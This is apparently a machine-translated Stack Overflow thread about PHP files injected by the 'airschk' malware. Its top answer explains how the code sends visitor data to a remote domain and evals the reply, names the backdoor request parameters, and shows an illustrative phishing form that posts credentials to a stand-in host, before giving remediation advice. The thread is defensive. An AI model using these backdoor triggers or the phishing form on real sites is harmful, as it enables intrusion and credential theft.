黑客已经为我的PHP文件添加了内容

时间:2011-09-13 13:01:34

标签: php security

我的网站已经被黑客攻陷,并且通过该网站查看每个PHP文件顶部还有大量其他内容。

现在每个文件都以:

开头
GLOBAL $wehaveitagain;
if($wehaveitagain != 1)
{

Full addition here

数据库似乎很好,所以我很好奇,能够编辑我的文件的可能路径是什么?

3 个答案:

答案 0 :(得分:18)

You're not the first to get hit by airschk

The exploit基于POST请求,并设置了变量prgetxr

如果没有设置(并且可能,在网站的正常使用中,它将不会)它循环通过该IP哈希映射mynetsxx并且如果它发现请求的IP在网络中匹配这(了解“网络”你必须了解网络如何工作,但这些基本上是本地人,而不是远程),如果是,则调用rewrioutclbkxxx。您可以通过发送GET变量showmeallpls为真的GET请求来手动请求该函数调用。

rewrioutclbkxxx通过输出缓冲区启动传递,所以它可能会在发送之前搞砸所有数据,但是在正常代码完成之后就做了。

请注意,除非您知道自己在做什么,否则可能不会出现恶意域名。

它将从hxxp://airschk.com/clk中提取数据(我已经审查了该URL中的HTTP),它想要获取一堆数据,因此它发送一个包含以下内容的字符串:user-agent(即,用户的浏览器),他们的IP地址,他们请求的URL,他们来自哪个页面以及ID代码4dae82ac67843a194c000ca1,这可能是他们为确定您的服务器而设置的内容

简而言之,代码将一大堆用户信息发送给airschk,并返回一些数据。这些数据被扔进了EVAL。热潮,你的网站是pwn'd。

EVAL将评估其中的任何字符串,就像它是php一样。他们可以删除所有内容,编辑所有内容,更改他们想要的内容,甚至可以获取shell访问权你基本上是pwnt。

现在等一下,如果我们确实发送了那个POST请求的话呢?哦鬼鬼祟祟,他们已经去了toolbarqueries.google.com的网址,但网址试图提升网址的谷歌网页排名(Blackhat SEO,你可以从谷歌这里获取禁止,但在短期内他们得到更多的点击率。)

回顾一下,这次攻击是如何运作的

  1. 您的一大堆用户数据正在airschk发送给犯罪分子。
  2. 他们发回他们想要的任何东西,并且几乎无限的力量让你搞砸了(如果他们想要,它会为每个用户定制)
  3. 他们试图提高您的谷歌排名,让您从谷歌中被禁止使用。
  4. 要检查的后门是prgetxr的发布请求和showmeallpls的GET请求。
  5. 他们可能做什么的例子

    由于他们可以按需编辑文件的输出流并了解用户代理和IP地址,因此他们可能会跟踪您的用户。让我们说你是银行,这是你的登录HTML:

    <form method="post" action="./login.php">
        <input name="BankAccountNumber" />
        <input name="Password" />
    </form>
    

    好的,输出缓冲区重写实际上可以完全按照原样保存所有内容并对用户执行此操作:

    <p>We have noticed high activity on your account, please provide additional information to help secure your account.</p>
    <form method="post" action="http://example.com/hax/lulz">
        <input name="CreditCardNumber" />
        <input name="SocialSecurityNumber" />
        <input name="FullName" />
        <input name="DateOfBirth" />
        <input name="HomeAddress" />
    
        <input name="BankAccountNumber" />
        <input name="Password" />
        <input name="prgetxr" />
    </form>
    

    如何防止这种情况。

    好吧,我说你的整个服务器再也不会被信任了。从轨道上取出该死的东西并重新安装备份。

    没有备份?你这人怎么回事?在您雇用某人梳理系统中安装的每行代码,每个数据库记录和最后一个文件之后,请备份到位,因为可能有更多漏洞。把这该死的东西解开并安装备份。

    接下来,设置chmod设置,以便除非是网络帐户的帐户以外的任何人都无法编辑这些文件。您需要了解unix安全性。

    接下来,从服务器上运行的任何文件中删除该死的eval(maybe even configure suhosin)。如果你有任何依赖它的运行代码,那你无论如何都会做错。去掉它。你需要。

    一个创可贴措施将阻止黑客域名,但这在12个小时内完全没有价值,他们可以移动到其他地方,并且可能已经到了。

    我无法说出他们为此做出的攻击路径,所以这是一个完全不同的调查,而不是真正的问题。

    最后,聘请一位经过培训的安全专家。

    安全性并非易事,也不容易或快速学习。不要玩游戏,付钱给知道自己在做什么的人。

答案 1 :(得分:1)

我不知道,但最好的方法是查看您的计算机上打开了哪些端口。我经常用来测试防火墙等的网站是http://www.auditmypc.com/firewall-test.asp,因为它为您提供了来自外部世界的视角。

答案 2 :(得分:0)

如果您的网站可以处理上传,请检查交易上传的部分。黑客可能上传了一个脚本并更改了你的文件。